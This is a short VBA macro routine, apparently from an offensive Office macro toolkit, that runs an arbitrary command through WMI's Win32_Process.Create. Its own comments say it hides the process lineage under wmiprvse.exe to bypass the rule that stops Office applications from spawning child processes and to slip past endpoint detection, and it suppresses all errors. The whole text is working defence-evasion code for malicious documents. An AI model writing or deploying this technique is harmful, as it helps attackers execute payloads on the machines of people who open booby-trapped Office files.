'
' Allows to dechain Parent-Child relationship, spawned command will be child of wmiprvse.exe. May be blocked by modern EDRs.
' Bypasses ASR rule blocking Office applications from creating child processes.
'
Sub obf_LaunchCommand(ByVal obf_command As String)
    On Error GoTo obf_ProcError
    Dim obf_wmi, obf_startup, obf_conf, obf_proc

    Set obf_wmi = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\.\root\cimv2")
    Set obf_startup = obf_wmi.Get("Win32_ProcessStartup")
    Set obf_conf = obf_startup.SpawnInstance_
    obf_conf.ShowWindow = 12

    Set obf_proc = obf_wmi.Get("Win32_Process")
    obf_proc.Create obf_command, Null, obf_conf, intProcessID
        
obf_ProcError:
End Sub